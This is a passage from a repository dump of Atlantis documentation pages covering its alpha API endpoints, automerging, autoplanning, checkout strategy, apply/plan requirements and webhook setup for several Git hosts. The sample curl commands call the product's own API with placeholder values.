token\n\n## Next Steps\n\nOnce you've got your user and access token, you're ready to create a webhook secret. See [Creating a Webhook Secret](webhook-secrets.md).\n"
  },
  {
    "path": "runatlantis.io/docs/api-endpoints.md",
    "content": "# API Endpoints\n\nAside from interacting via pull request comments, Atlantis could respond to a limited number of API endpoints.\n\n:::warning ALPHA API - SUBJECT TO CHANGE\nThe API endpoints documented on this page are currently in **alpha state** and are **not considered stable**. The request and response schemas may change at any time without prior notice or deprecation period.\n\nIf you build integrations against these endpoints, when upgrading Atlantis you should review the release notes carefully and be prepared to update your code.\n:::\n\n## Main Endpoints\n\nThe API endpoints in this section are disabled by default, since these API endpoints could change the infrastructure directly.\nTo enable the API endpoints, `api-secret` should be configured.\n\n:::tip Prerequisites\n\n* Set `api-secret` as part of the [Server Configuration](server-configuration.md#api-secret)\n* Pass `X-Atlantis-Token` with the same secret in the request header\n  :::\n\n### POST /api/plan\n\n#### Description\n\nExecute [atlantis plan](using-atlantis.md#atlantis-plan) on the specified repository.\n\n#### Parameters\n\n| Name       | Type     | Required | Description                              |\n|------------|----------|----------|------------------------------------------|\n| Repository | string   | Yes      | Name of the Terraform repository         |\n| Ref        | string   | Yes      | Git reference, like a branch name        |\n| Type       | string   | Yes      | Type of the VCS provider (Github/Gitlab) |\n| Projects   | []string | No       | List of project names to run the plan    |\n| Paths      | []Path   | No       | Paths to the projects to run the plan    |\n| PR         | int      | No       | Pull Request number                      |\n\n::: tip NOTE\nAt least one of `Projects` or `Paths` must be specified.\n:::\n\n#### Path\n\nSimilar to the [Options](using-atlantis.md#options) of `atlantis plan`. Path specifies which directory/workspace\nwithin the repository to run the plan.\nAt least one of `Directory` or `Workspace` should be specified.\n\n| Name      | Type   | Required | Description                                                                                                                                               |\n|-----------|--------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Directory | string | No       | Which directory to run plan in relative to root of repo                                                                                                   |\n| Workspace | string | No       | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) of the plan. Use `default` if Terraform workspaces are unused. |\n\n#### Sample Request\n\n```shell\ncurl --request POST 'https://<ATLANTIS_HOST_NAME>/api/plan' \\\n--header 'X-Atlantis-Token: <ATLANTIS_API_SECRET>' \\\n--header 'Content-Type: application/json' \\\n--data-raw '{\n    \"Repository\": \"repo-name\",\n    \"Ref\": \"main\",\n    \"Type\": \"Github\",\n    \"Paths\": [{\n      \"Directory\": \".\",\n      \"Workspace\": \"default\"\n    }],\n    \"PR\": 2\n}'\n```\n\n#### Sample Response\n\n```json\n{\n  \"Error\": null,\n  \"Failure\": \"\",\n  \"ProjectResults\": [\n    {\n      \"Command\": 1,\n      \"RepoRelDir\": \".\",\n      \"Workspace\": \"default\",\n      \"Error\": null,\n      \"Failure\": \"\",\n      \"PlanSuccess\": {\n        \"TerraformOutput\": \"<redacted>\",\n        \"LockURL\": \"<redacted>\",\n        \"RePlanCmd\": \"atlantis plan -d .\",\n        \"ApplyCmd\": \"atlantis apply -d .\",\n        \"HasDiverged\": false\n      },\n      \"PolicyCheckSuccess\": null,\n      \"ApplySuccess\": \"\",\n      \"VersionSuccess\": \"\",\n      \"ProjectName\": \"\"\n    }\n  ],\n  \"PlansDeleted\": false\n}\n```\n\n### POST /api/apply\n\n#### Description\n\nExecute [atlantis apply](using-atlantis.md#atlantis-apply) on the specified repository.\n\n#### Parameters\n\n| Name       | Type     | Required | Description                              |\n|------------|----------|----------|------------------------------------------|\n| Repository | string   | Yes      | Name of the Terraform repository         |\n| Ref        | string   | Yes      | Git reference, like a branch name        |\n| Type       | string   | Yes      | Type of the VCS provider (Github/Gitlab) |\n| Projects   | []string | No       | List of project names to run the apply   |\n| Paths      | []Path   | No       | Paths to the projects to run the apply   |\n| PR         | int      | No       | Pull Request number                      |\n\n::: tip NOTE\nAt least one of `Projects` or `Paths` must be specified.\n:::\n\n#### Path\n\nSimilar to the [Options](using-atlantis.md#options-1) of `atlantis apply`. Path specifies which directory/workspace\nwithin the repository to run the apply.\nAt least one of `Directory` or `Workspace` should be specified.\n\n| Name      | Type   | Required | Description                                                                                                                                               |\n|-----------|--------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Directory | string | No       | Which directory to run apply in relative to root of repo                                                                                                  |\n| Workspace | string | No       | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) of the plan. Use `default` if Terraform workspaces are unused. |\n\n#### Sample Request\n\n```shell\ncurl --request POST 'https://<ATLANTIS_HOST_NAME>/api/apply' \\\n--header 'X-Atlantis-Token: <ATLANTIS_API_SECRET>' \\\n--header 'Content-Type: application/json' \\\n--data-raw '{\n    \"Repository\": \"repo-name\",\n    \"Ref\": \"main\",\n    \"Type\": \"Github\",\n    \"Paths\": [{\n      \"Directory\": \".\",\n      \"Workspace\": \"default\"\n    }],\n    \"PR\": 2\n}'\n```\n\n#### Sample Response\n\n```json\n{\n  \"Error\": null,\n  \"Failure\": \"\",\n  \"ProjectResults\": [\n    {\n      \"Command\": 0,\n      \"RepoRelDir\": \".\",\n      \"Workspace\": \"default\",\n      \"Error\": null,\n      \"Failure\": \"\",\n      \"PlanSuccess\": null,\n      \"PolicyCheckSuccess\": null,\n      \"ApplySuccess\": \"<redacted>\",\n      \"VersionSuccess\": \"\",\n      \"ProjectName\": \"\"\n    }\n  ],\n  \"PlansDeleted\": false\n}\n```\n\n## Other Endpoints\n\nThe endpoints listed in this section are non-destructive and therefore don't require authentication nor special secret token.\n\n### GET /api/locks\n\n#### Description\n\nList the currently held project locks.\n\n#### Sample Request\n\n```shell\ncurl --request GET 'https://<ATLANTIS_HOST_NAME>/api/locks'\n```\n\n#### Sample Response\n\n```json\n{\n  \"Locks\": [\n    {\n      \"Name\": \"lock-id\",\n      \"ProjectName\": \"terraform\",\n      \"ProjectRepo\": \"owner/repo\",\n      \"ProjectRepoPath\": \"/path\",\n      \"PullID\": \"123\",\n      \"PullURL\": \"url\",\n      \"User\": \"jdoe\",\n      \"Workspace\": \"default\",\n      \"Time\": \"2025-02-13T16:47:42.040856-08:00\"\n    }\n  ]\n}\n```\n\n### GET /status\n\n#### Description\n\nReturn the status of the Atlantis server.\n\n#### Sample Request\n\n```shell\ncurl --request GET 'https://<ATLANTIS_HOST_NAME>/status'\n```\n\n#### Sample Response\n\n```json\n{\n  \"shutting_down\": false,\n  \"in_progress_operations\": 0,\n  \"version\": \"0.22.3\"\n}\n```\n\n### GET /healthz\n\n#### Description\n\nServes as the health-check endpoint for a containerized Atlantis server.\n\n#### Sample Request\n\n```shell\ncurl --request GET 'https://<ATLANTIS_HOST_NAME>/healthz'\n```\n\n#### Sample Response\n\n```json\n{\n  \"status\": \"ok\"\n}\n```\n\n### GET /debug/pprof\n\nIf `--enable-profiling-api` is set to true, it adds endpoints under this path to expose server's profiling data. See [profiling Go programs](https://go.dev/blog/pprof) for more information.\n"
  },
  {
    "path": "runatlantis.io/docs/apply-requirements.md",
    "content": "# Apply Requirements\n\n:::warning REDIRECT\nThis page is moved to [Command Requirements](command-requirements.md).\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/automerging.md",
    "content": "# Automerging\n\nAtlantis can be configured to automatically merge a pull request after all plans have\nbeen successfully applied.\n\n![Automerge](./images/automerge.png)\n\n## How To Enable\n\nAutomerging can be enabled either by:\n\n1. Passing the `--automerge` flag to `atlantis server`. This sets the parameter globally; however, explicit declaration in the repo config will be respected and take priority.\n1. Setting `automerge: true` in the repo's `atlantis.yaml` file:\n\n    ```yaml\n    version: 3\n    automerge: true\n    projects:\n    - dir: .\n    ```\n\n    :::tip NOTE\n    If a repo has an `atlantis.yaml` file, then each project in the repo needs\n    to be configured under the `projects` key.\n    :::\n\n## How to Disable\n\nIf automerge is enabled, you can disable it for a single `atlantis apply`\ncommand with the `--auto-merge-disabled` option.\n\n## How to set the merge method for automerge\n\nIf automerge is enabled, you can use the `--auto-merge-method` option\nfor the `atlantis apply` command to specify which merge method use.\n\n```shell\natlantis apply --auto-merge-method <method>\n```\n\nThe `method` must be one of:\n\n- merge\n- rebase\n- squash\n\nThis is currently only implemented for the GitHub VCS.\n\n## Requirements\n\n### All Plans Must Succeed\n\nWhen automerge is enabled, **all plans** in a pull request **must succeed** before\n**any** plans can be applied.\n\nFor example, imagine this scenario:\n\n1. I open a pull request that makes changes to two Terraform projects, in `dir1/`\n   and `dir2/`.\n1. The plan for `dir2/` fails because my Terraform syntax is wrong.\n\nIn this scenario, I can't run\n\n```shell\natlantis apply -d dir1\n```\n\nEven though that plan succeeded, because **all** plans must succeed for **any** plans\nto be saved.\n\nOnce I fix the issue in `dir2`, I can push a new commit which will trigger an\nautoplan. Then I will be able to apply both plans.\n\n### All Plans must be applied\n\nIf multiple projects/dirs/workspaces are configured to be planned automatically,\nthen they should all be applied before Atlantis automatically merges the PR.\n\n## Permissions\n\nThe Atlantis VCS user must have the ability to merge pull requests.\n"
  },
  {
    "path": "runatlantis.io/docs/autoplanning.md",
    "content": "# Autoplanning\n\nOn any **new** pull request or **new commit** to an existing pull request, Atlantis will attempt to\nrun `terraform plan` in the directories it thinks hold modified Terraform projects.\n\nThe algorithm it uses is as follows:\n\n1. Get list of all modified files in pull request\n1. Filter to those containing `.tf`\n1. Get the directories that those files are in\n1. If the directory path doesn't contain `modules/` then try to run `plan` in that directory\n1. If it does contain `modules/` look at the directory one level above `modules/`. If it\ncontains a `main.tf` run plan in that directory, otherwise ignore the change (see below for exceptions).\n\n## Example\n\nGiven the directory structure:\n\n```plain\n.\n├── modules\n│   └── module1\n│       └── main.tf\n└── project1\n    ├── main.tf\n    └── modules\n        └── module1\n            └── main.tf\n```\n\n* If `project1/main.tf` were modified, we would run `plan` in `project1`\n* If `modules/module1/main.tf` were modified, we would not automatically run `plan` because we couldn't determine the location of the terraform project\n  * You could use an [atlantis.yaml](repo-level-atlantis-yaml.md#configuring-planning) file to specify which projects to plan when this module changed\n  * You could enable [module autoplanning](server-configuration.md#autoplan-modules) which indexes projects to their local module dependencies.\n  * Or you could manually plan with `atlantis plan -d <dir>`\n* If `project1/modules/module1/main.tf` were modified, we would look one level above `project1/modules`\ninto `project1/`, see that there was a `main.tf` file and so run plan in `project1/`\n\n## Bitbucket-Specific Notes\n\nBitbucket does not have a webhook that triggers only upon a new PR or commit. To fix this we cache the last commit to see if it has changed. If the cache is emptied, Atlantis will think your commit is new and you may see extra plans.\nThis scenario can happen if:\n\n* Atlantis restarts\n* You are running multiple Atlantis instances behind a load balancer\n\n## Customizing\n\nIf you would like to customize how Atlantis determines which directory to run in\nor disable it all together you need to create an `atlantis.yaml` file.\nSee\n\n* [Disabling Autoplanning](repo-level-atlantis-yaml.md#disabling-autoplanning)\n* [Configuring Planning](repo-level-atlantis-yaml.md#configuring-planning)\n"
  },
  {
    "path": "runatlantis.io/docs/checkout-strategy.md",
    "content": "# Checkout Strategy\n\nYou can configure how Atlantis checks out the code from your pull request via\nthe `--checkout-strategy` flag or the `ATLANTIS_CHECKOUT_STRATEGY` environment\nvariable that get passed to the `atlantis server` command.\n\nAtlantis supports `branch` and `merge` strategies.\n\n## Branch\n\nIf set to `branch` (the default), Atlantis will check out the source branch\nof the pull request.\n\nFor example, given the following git history:\n![Git History](./images/branch-strategy.png)\n\nIf the pull request was asking to merge `branch` into `main`,\nAtlantis would check out `branch` at commit `C3`.\n\n## Merge\n\nThe problem with the `branch` strategy, is that if users push branches that are\nout of date with `main`, then their `terraform plan` could be deleting\nsome resources that were configured in the main branch.\n\nFor example, in the above diagram if commits `C4` and `C5` have modified the\nterraform state and added new resources, then when Atlantis runs `terraform plan`\nat commit `C3`, because the code doesn't have the changes from `C4` and `C5`,\nTerraform will try to delete those resources.\n\nTo fix this, users could merge `main` into their branch, *or* you can run\nAtlantis with `--checkout-strategy=merge`. With this strategy, Atlantis will\ntry to perform a merge locally by:\n\n* Checking out the destination branch of the pull request (ex. `main`)\n* Locally performing a `git merge {source branch}`\n* Then running its Terraform commands\n\nIn this example, the code that Atlantis would be operating on would look like:\n![Git History](./images/merge-strategy.png)\nWhere Atlantis is using its local commit `C6`.\n\n:::tip NOTE\nAtlantis doesn't actually commit this merge anywhere. It just uses it locally.\n:::\n\n:::tip NOTE\nIn the case of transient errors when updating the merged branch, Atlantis will\nerror for safety to avoid using a stale branch.\n:::\n\n:::warning\nAtlantis only performs this merge during the `terraform plan` phase. If another\ncommit is pushed to `main` **after** Atlantis runs `plan`, nothing will happen.\n:::\n\nTo optimize cloning time, Atlantis can perform a shallow clone by specifying the `--checkout-depth` flag. The cloning is performed in a following manner:\n\n* Shallow clone of the default branch is performed with depth of `--checkout-depth` value of zero (full clone).\n* `branch` is retrieved, including the same amount of commits.\n* Merge base of the default branch and `branch` is checked for existence in the shallow clone.\n* If the merge base is not present, it means that either of the branches are ahead of the merge base by more than `--checkout-depth` commits. In this case full repo history is fetched.\n\nIf the commit history often diverges by more than the default checkout depth then the `--checkout-depth` flag should be tuned to avoid full fetches.\n"
  },
  {
    "path": "runatlantis.io/docs/command-requirements.md",
    "content": "# Command Requirements\n\n## Intro\n\nAtlantis requires certain conditions be satisfied **before** `atlantis apply` and `atlantis import`\ncommands can be run:\n\n* [Approved](#approved) – requires pull requests to be approved by at least one user other than the author\n* [Mergeable](#mergeable) – requires pull requests to be able to be merged\n* [UnDiverged](#undiverged) - requires pull requests to be ahead of the base branch\n\n## What Happens If The Requirement Is Not Met?\n\nIf the requirement is not met, users will see an error if they try to run `atlantis apply`:\n![Mergeable Apply Requirement](./images/apply-requirement.png)\n\n## Supported Requirements\n\n### Approved\n\nThe `approved` requirement will prevent applies unless the pull request is approved\nby at least one person other than the author.\n\n#### Usage\n\nSet the `approved` requirement by:\n\n1. Creating a `repos.yaml` file with the `apply_requirements` key:\n\n   ```yaml\n   repos:\n   - id: /.*/\n     apply_requirements: [approved]\n   ```\n\n1. Or by allowing an `atlantis.yaml` file to specify the `apply_requirements` key in the `repos.yaml` config:\n\n    **repos.yaml**\n\n    ```yaml\n    repos:\n    - id: /.*/\n      allowed_overrides: [apply_requirements]\n    ```\n\n    **atlantis.yaml**\n\n    ```yaml\n    version: 3\n    projects:\n    - dir: .\n      apply_requirements: [approved]\n    ```\n\n#### Meaning\n\nEach VCS provider has different rules around who can approve:\n\n* **GitHub** – **Any user with read permissions** to the repo can approve a pull request\n* **GitLab** – The user who can approve can be set in the [repo settings](https://docs.gitlab.com/user/project/merge_requests/approvals/)\n* **Bitbucket Cloud (bitbucket.org)** – A user can approve their own pull request but\n  Atlantis does not count that as an approval and requires an approval from at least one user that\n  is not the author of the pull request\n* **Azure DevOps** – **All builtin groups include the \"Contribute to pull requests\"** permission and can approve a pull request\n\n:::tip Tip\nTo require **certain people** to approve the pull request, look at the\n[mergeable](#mergeable) requirement.\n:::\n\n### Mergeable\n\nThe `mergeable` requirement will prevent applies unless a pull request is able to be merged.\n\n#### Usage\n\nSet the `mergeable` requirement by:\n\n1. Creating a `repos.yaml` file with the `apply_requirements` key:\n\n   ```yaml\n   repos:\n   - id: /.*/\n     apply_requirements: [mergeable]\n   ```\n\n1. Or by allowing an `atlantis.yaml` file to specify `plan_requirements`, `apply_requirements` and `import_requirements` keys in the `repos.yaml` config:\n\n    **repos.yaml**\n\n    ```yaml\n    repos:\n    - id: /.*/\n      allowed_overrides: [plan_requirements, apply_requirements, import_requirements]\n    ```\n\n    **atlantis.yaml**\n\n    ```yaml\n    version: 3\n    projects:\n    - dir: .\n      plan_requirements: [mergeable]\n      apply_requirements: [mergeable]\n      import_requirements: [mergeable]\n    ```\n\n#### Meaning\n\nEach VCS provider has a different concept of \"mergeability\":\n\n::: warning\nSome VCS providers have a feature for branch protection to control \"mergeability\". To use it,\nlimit the base branch so to not bypass the branch protection.\nSee also the `branch` keyword in [Server Side Repo Config](server-side-repo-config.md#reference) for more details.\n:::\n\n#### GitHub\n\nIn GitHub, if you're not using [Protected Branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) then\nall pull requests are mergeable unless there is a conflict.\n\nIf you set up Protected Branches then you can enforce:\n\n* Requiring certain status checks to be passing\n* Requiring certain people to have reviewed and approved the pull request\n* Requiring `CODEOWNERS` to have reviewed and approved the pull request\n* Requiring that the branch is up-to-date with `main`\n\nSee [GitHub: About protected branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)\nfor more details.\n\n::: warning\nIf you have the **Restrict who can push to this branch** requirement, then\nthe Atlantis user needs to be part of that list in order for it to consider\na pull request mergeable.\n:::\n\n::: warning\nIf you set `atlantis/apply` to the mergeable requirement, use the `--gh-allow-mergeable-bypass-apply` flag or set the `ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true` environment variable. This flag and environment variable allow the mergeable check before executing `atlantis apply` to skip checking the status of `atlantis/apply`.\n:::\n\n#### GitLab\n\nFor GitLab, a merge request will be merged if all the following are true:\n\n* There are no conflicts\n* No unresolved discussions, if it is a project requirement\n* All necessary approvers have approved the pull request\n* Is not behind the branch it's merging into, if the project's [Merge Methods](https://docs.gitlab.com/user/project/merge_requests/methods/) are \"Fast-forward merge\" or \"Merge commit with semi-linear history\"\n\nFor pipelines, if the project requires that pipelines must succeed, all builds except the apply command status will be checked.\n\nFor Jobs with allow_failure setting set to true, will be ignored. If the pipeline has been skipped and the project allows merging, it will be marked as mergeable.\n\n#### Bitbucket.org (Bitbucket Cloud) and Bitbucket Server (Stash)\n\nFor Bitbucket, we just check if there is a conflict that is preventing a\nmerge. We don't check anything else because Bitbucket's API doesn't support it.\n\nIf you need a specific check, please\n[open an issue](https://github.com/runatlantis/atlantis/issues/new).\n\n#### Azure DevOps\n\nIn Azure DevOps, all pull requests are mergeable unless there is a conflict. You can set a pull request to \"Complete\" right away, or set \"Auto-Complete\", which will merge after all branch policies are met. See [Review code with pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops).\n\n[Branch policies](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) can:\n\n* Require a minimum number of reviewers\n* Allow users to approve their own changes\n* Allow completion even if some reviewers vote \"Waiting\" or \"Reject\"\n* Reset code reviewer votes when there are new changes\n* Require a specific merge strategy (squash, rebase, etc.)\n\n::: warning\nAt this time, the Azure DevOps client only supports merging using the default 'no fast-forward' strategy. Make sure your branch policies permit this type of merge.\n:::\n\n### UnDiverged\n\nPrevent applies if there are any changes on the base branch since the most recent plan.\nApplies to `merge` checkout strategy only which you need to set via `--checkout-strategy` flag.\n\n#### Usage\n\nYou can set the `undiverged` requirement by:\n\n1. Creating a `repos.yaml` file with `plan_requirements`, `apply_requirements` and `import_requirements` keys:\n\n   ```yaml\n   repos:\n   - id: /.*/\n     plan_requirements: [undiverged]\n     apply_requirements: [undiverged]\n     import_requirements: [undiverged]\n   ```\n\n1. Or by allowing an `atlantis.yaml` file to specify the `plan_requirements`, `apply_requirements` and `import_requirements` keys in your `repos.yaml` config:\n\n    **repos.yaml**\n\n    ```yaml\n    repos:\n    - id: /.*/\n      allowed_overrides: [plan_requirements, apply_requirements, import_requirements]\n    ```\n\n    **atlantis.yaml**\n\n    ```yaml\n    version: 3\n    projects:\n    - dir: .\n      plan_requirements: [undiverged]\n      apply_requirements: [undiverged]\n      import_requirements: [undiverged]\n    ```\n\n#### Meaning\n\nThe `merge` checkout strategy creates a temporary merge commit and runs the `plan` on the Atlantis local version of the PR\nsource and destination branch. The local destination branch can become out of date since changes to the destination branch are not fetched\nif there are no changes to the source branch. `undiverged` enforces that Atlantis local version of main is up to date\nwith remote so that the state of the source during the `apply` is identical to that if you were to merge the PR at that\ntime. In the case of a transient error, Atlantis assumes divergence for safety and errors.\n\n## Setting Command Requirements\n\nAs mentioned above, you can set command requirements via flags, in `repos.yaml`, or in `atlantis.yaml` if `repos.yaml`\nallows the override.\n\n### Flags Override\n\nFlags **override** any `repos.yaml` or `atlantis.yaml` settings so they are equivalent to always\nhaving that apply requirement set.\n\n### Project-Specific Settings\n\nIf you only want some projects/repos to have apply requirements, then you must\n\n1. Specify which repos have which requirements via the `repos.yaml` file.\n\n   ```yaml\n   repos:\n   - id: /.*/\n     plan_requirements: [approved]\n     apply_requirements: [approved]\n     import_requirements: [approved]\n   # Regex that defaults all repos to requiring approval\n   - id: /github.com/runatlantis/.*/\n     # Regex to match any repo under the atlantis namespace, and not require approval\n     # except for repos that might match later in the chain\n     plan_requirements: []\n     apply_requirements: []\n     import_requirements: []\n   - id: github.com/runatlantis/atlantis\n     plan_requirements: [approved]\n     apply_requirements: [approved]\n     import_requirements: [approved]\n     # Exact string match of the github.com/runatlantis/atlantis repo\n     # that sets apply_requirements to approved\n   ```\n\n1. Specify which projects have which requirements via an `atlantis.yaml` file, and allowing\n   `plan_requirements`, `apply_requirements` and `import_requirements` to be set in `atlantis.yaml` by the server side `repos.yaml`\n   config.\n\n   For example if I have two directories, `staging` and `production`, I might use:\n\n   **repos.yaml:**\n\n   ```yaml\n   repos:\n   - id: /.*/\n     allowed_overrides: [plan_requirements, apply_requirements, import_requirements]\n     # Allow any repo to specify apply_requirements in atlantis.yaml\n   ```\n\n   **atlantis.yaml:**\n\n   ```yaml\n   version: 3\n   projects:\n   - dir: staging\n     # By default, plan_requirements, apply_requirements and import_requirements are empty so this\n     # isn't strictly necessary.\n     plan_requirements: []\n     apply_requirements: []\n     import_requirements: []\n   - dir: production\n     # This requirement will only apply to the\n     # production directory.\n     plan_requirements: [mergeable]\n     apply_requirements: [mergeable]\n     import_requirements: [mergeable]\n   ```\n\n### Multiple Requirements\n\nYou can set any or all of `approved`, `mergeable`, and `undiverged` requirements.\n\n## Who Can Apply?\n\nOnce the apply requirement is satisfied, **anyone** that can comment on the pull\nrequest can run the actual `atlantis apply` command.\n\n## Next Steps\n\n* For more information on GitHub pull request reviews and approvals see: [GitHub: About pull request reviews](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)\n* For more information on GitLab merge request reviews and approvals (only supported on GitLab Enterprise) see: [GitLab: Merge request approvals](https://docs.gitlab.com/user/project/merge_requests/approvals/).\n* For more information on Bitbucket pull request reviews and approvals see: [BitBucket: Use pull requests for code review](https://confluence.atlassian.com/bitbucket/pull-requests-and-code-review-223220593.html)\n* For more information on Azure DevOps pull request reviews and approvals see: [Azure DevOps: Create pull requests](https://docs.microsoft.com/en-us/azure/devops/repos/git/pull-requests?view=azure-devops&tabs=browser)\n"
  },
  {
    "path": "runatlantis.io/docs/configuring-atlantis.md",
    "content": "# Configuring Atlantis\n\nThere are three methods for configuring Atlantis:\n\n1. Passing flags to the `atlantis server` command\n1. Creating a server-side repo config file and using the `--repo-config` flag\n1. Placing an `atlantis.yaml` file at the root of your Terraform repositories\n\n## Flags\n\nFlags to `atlantis server` are used to configure the global operation of\nAtlantis, for example setting credentials for your Git Host\nor configuring SSL certs.\n\nSee [Server Configuration](server-configuration.md) for more details.\n\n## Server-Side Repo Config\n\nA Server-Side Repo Config file is used to control per-repo behaviour\nand what users can do in repo-level `atlantis.yaml` files.\n\nSee [Server-Side Repo Config](server-side-repo-config.md) for more details.\n\n## Repo-Level `atlantis.yaml` Files\n\n`atlantis.yaml` files placed at the root of your Terraform repos can be used to\nchange the default Atlantis behaviour for each repo.\n\nSee [Repo-Level atlantis.yaml Files](repo-level-atlantis-yaml.md) for more details.\n"
  },
  {
    "path": "runatlantis.io/docs/configuring-webhooks.md",
    "content": "# Configuring Webhooks\n\nAtlantis needs to receive Webhooks from your Git host so that it can respond to pull request events.\n\n:::tip Prerequisites\n\n* You have created an [access credential](access-credentials.md)\n* You have created a [webhook secret](webhook-secrets.md)\n* You have [deployed](deployment.md) Atlantis and have a url for it\n:::\n\nSee the instructions for your specific provider below.\n\n## GitHub/GitHub Enterprise\n\nYou can install your webhook at the [organization](https://docs.github.com/en/get-started/learning-about-github/types-of-github-accounts) level, or for each individual repository.\n\n::: tip NOTE\nIf only some of the repos in your organization are to be managed by Atlantis, then you\nmay want to only install on specific repos for now.\n:::\n\nWhen authenticating as a GitHub App, Webhooks are automatically created and need no additional setup, beyond being installed to your organization/user account after creation. Refer to the [GitHub App setup](access-credentials.md#github-app) section for instructions on how to do so.\n\nIf you're installing on the organization, navigate to your organization's page and click **Settings**.\nIf installing on a single repository, navigate to the repository home page and click **Settings**.\n\n* Select **Webhooks** or **Hooks** in the sidebar\n* Click **Add webhook**\n* set **Payload URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`**\n* double-check you added `/events` to the end of your URL.\n* set **Content type** to `application/json`\n* set **Secret** to the Webhook Secret you generated previously\n  * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret.\n* select **Let me select individual events**\n* check the boxes\n  * **Pull request reviews**\n  * **Pushes**\n  * **Issue comments**\n  * **Pull requests**\n* leave **Active** checked\n* click **Add webhook**\n* See [Next Steps](#next-steps)\n\n## GitLab\n\nIf you're using GitLab, navigate to your project's home page in GitLab\n\n* Click **Settings > Webhooks** in the sidebar\n* set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`**\n* double-check you added `/events` to the end of your URL.\n* set **Secret Token** to the Webhook Secret you generated previously\n  * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret.\n* check the boxes\n  * **Push events**\n  * **Comments**\n  * **Merge Request events**\n* leave **Enable SSL verification** checked\n* click **Add webhook**\n* See [Next Steps](#next-steps)\n\n## Gitea\n\nIf you're using Gitea, navigate to your project's home page in Gitea\n\n* Click **Settings > Webhooks** in the top- and then sidebar\n* Click **Add webhook > Gitea** (Gitea webhooks are service specific, but this works)\n* set **Target URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`**\n* double-check you added `/events` to the end of your URL.\n* set **Secret** to the Webhook Secret you generated previously\n  * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret.\n* Select **Custom Events...**\n* Check the boxes\n  * **Repository events > Push**\n  * **Issue events > Issue Comment**\n  * **Pull Request events > Pull Request**\n  * **Pull Request events > Pull Request Comment**\n  * **Pull Request events > Pull Request Reviewed**\n  * **Pull Request events > Pull Request Synchronized**\n* Leave **Active** checked\n* Click **Add Webhook**\n* See [Next Steps](#next-steps)\n\n## Bitbucket Cloud (bitbucket.org)\n\n* Go to your repo's home page\n* Click **Settings** in the sidebar\n* Click **Webhooks** under the **WORKFLOW** section\n* Click **Add webhook**\n* Enter \"Atlantis\" for **Title**\n* set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`**\n* double-check you added `/events` to the end of your URL.\n* Keep **Status** as Active\n* Don't check **Skip certificate validation** because NGROK has a valid cert.\n* Select **Choose from a full list of triggers**\n* Under **Repository** **un**check everything\n* Under **Issues** leave everything **un**checked\n* Under **Pull Request**, select: Created, Updated, Merged, Declined and Comment created\n* Click **Save**\n<img src=\"../guide/images/bitbucket-webhook.png\" alt=\"Bitbucket Webhook\" style=\"max-height: 500px\">\n* See [Next Steps](#next-steps)\n\n## Bitbucket Server (aka Stash)\n\n* Go to your repo's home page\n* Click **Settings** in the sidebar\n* Click **Webhooks** under the **WORKFLOW** section\n* Click **Create webhook**\n* Enter \"Atlantis\" for **Name**\n* set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`**\n* Double-check you added `/events` to the end of your URL.\n* Set **Secret** to the Webhook Secret you generated previously\n  * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret.\n* Under **Pull Request**, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added\n* Click **Save**<img src=\"../guide/images/bitbucket-server-webhook.png\" alt=\"Bitbucket Webhook\" style=\"max-height: 600px;\">\n* See [Next Steps](#next-steps)\n\n## Azure DevOps\n\nWebhooks are installed at the [team project](https://docs.microsoft.com/en-us/azure/devops/organizations/projects/about-projects?view=azure-devops) level, but may be restricted to only fire based on events pertaining to [specific repos](https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops) within the team project.\n\n* Navigate anywhere within a team project, ie: `https://dev.azure.com/orgName/projectName/_git/repoName`\n* Select **Project settings** in the lower-left corner\n* Select **Service hooks**\n  * If you see the message \"You do not have sufficient permissions to view or configure subscriptions.\" you need to ensure your user is a member of either the organization's \"Project Collection Administrators\" group or the project's \"Project Administrators\" group.\n  * To add your user to the Project Collection Build Administrators group, navigate to the organization level, click **Organization Settings** and then click **Permissions**. You should be at `https://dev.azure.com/<organization>/_settings/groups`. Now click on the **\\<organization\\>/Project Collection Administrators** group and add your user as a member.\n  * To add your user to the Project Administrators group, navigate to the project level, click **Project Settings** and then click **Permissions**. You should be at `https://dev.azure.com/<organization>/<project>/_settings/permissions`. Now click on the **\\<project\\>/Project Administrators** group and add your user as a member.\n* Click **Create subscription** or the green plus icon to add a new webhook\n* Scroll to the bottom of the list and select **Web Hooks**\n* Click **Next**\n* Under \"Trigger on this type of event\", select **Pull request created**\n  * Optionally, select a repository under **Filters** to restrict the scope of this webhook subscription to a specific repository\n* Click **Next**\n* Set **URL** to `http://$URL/events` where `$URL` is where Atlantis is hosted. Note that SSL, or `https://$URL/events`, is required if you set a Basic username and password for the webhook. **Be sure to add `/events`**\n* It is strongly recommended to set a Basic Username and Password for all webhooks\n* Leave all three drop-down menus for `...to send` set to **All**\n* Resource version should be set to **1.0** for `Pull request created` and `Pull request updated` event types and **2.0** 